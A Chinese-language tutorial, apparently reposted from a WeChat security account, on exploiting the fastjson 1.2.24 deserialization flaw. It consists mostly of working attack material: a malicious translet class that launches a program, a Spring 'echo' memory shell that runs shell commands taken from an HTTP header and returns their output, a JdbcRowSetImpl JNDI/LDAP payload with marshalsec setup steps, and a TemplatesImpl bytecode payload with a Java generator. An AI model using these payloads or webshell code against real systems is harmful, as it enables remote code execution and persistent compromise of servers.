环境搭建
JSON.parseObject
设置了SupportNonPublicField
支持非公共属性,同时pom.xml
的版本为1.2.24
,所以存在fastjson反序列化漏洞。
常用的利用方式有两种:
-
出网的话可以考虑利用 JdbcRowSetImpl
反序列化打LDAP和RMI(RMI最高利用版本8u113、LDAP最高利用版本8u191) -
不出网的话可以考虑打 TemplatesImpl
反序列化内存马
构造恶意类
RCE弹计算器
package org.example.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassCalcShellextendsAbstractTranslet{
static {
try{
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {
}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {
}
}
回显内存马
package org.example.fastjson;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
publicclassSpringEchoextendsAbstractTranslet{
static {
org.springframework.web.context.request.RequestAttributes requestAttributes = org.springframework.web.context.request.RequestContextHolder.getRequestAttributes();
javax.servlet.http.HttpServletRequest httprequest = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getRequest();
javax.servlet.http.HttpServletResponse httpresponse = ((org.springframework.web.context.request.ServletRequestAttributes) requestAttributes).getResponse();
String[] cmd = System.getProperty("os.name").toLowerCase().contains("windows")? new String[]{"cmd.exe", "/c", httprequest.getHeader("C")} : new String[]{"/bin/sh", "-c", httprequest.getHeader("C")};
try{
byte[] result = new java.util.Scanner(new ProcessBuilder(cmd).start().getInputStream()).useDelimiter("\A").next().getBytes();
httpresponse.getWriter().write(new String(result));
httpresponse.getWriter().flush();
httpresponse.getWriter().close();
} catch (IOException e){
e.printStackTrace();
}
}
@Override
publicvoidtransform(DOM document, SerializationHandler[] handlers)throws TransletException {
}
@Override
publicvoidtransform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)throws TransletException {
}
}
创建一个Main类new一下即可编译为class
出网利用JdbcRowSetImpl打LDAP和RMI
payload格式:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://127.0.0.1:1099/SpringEcho",
"autoCommit":true
}
Step1:python启动一个web服务
访问127.0.0.1:8000即可看到前面编译好的恶意class
Step2:marshalsec在1099端口启动一个LDAP服务指向python-web的恶意类
Step3:直接发送payload即可
不出网打TemplatesImpl内存马
payload格式:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意类字节码"],
'_name': "a.b",
'_tfactory': {},
"_outputProperties": {},
"_version": "1.0",
"allowedProtocols": "all"
}
生成payload:
package org.example.fastjson;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.util.Base64;
publicclassFastjsonWithSpringEchoTemplates{
publicstaticvoidmain(String[] args)throws IOException {
String shell = null;
shell = FiletoBase64("D:\code\javaProject\JavaSecurity\src\main\java\org\example\fastjson\SpringEcho.class");
String payload1 = " {"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":[""+shell+""],"_name":"a.b","_tfactory":{},"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}";
System.out.println(payload1);
JSONObject obj = JSON.parseObject(payload1, Feature.SupportNonPublicField);
// JSONObject obj = JSON.parseObject(payload1, new Feature[]{Feature.SupportNonPublicField});
System.out.println(obj);
}
publicstatic String FiletoBase64(String filename)throws IOException {
File file = new File(filename);
FileInputStream io = new FileInputStream(file);
ByteArrayOutputStream os = new ByteArrayOutputStream();
byte[] buf = newbyte[10240];
int len;
while ((len = io.read(buf)) > 0) {
os.write(buf, 0, len);
}
io.close();
String s = Base64.getEncoder().encodeToString(os.toByteArray());
return s;
}
}
抓包修改Content-Type
发送payload即可
原文始发于微信公众号(智佳网络安全):Fastjson1.2.24反序列化利用
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论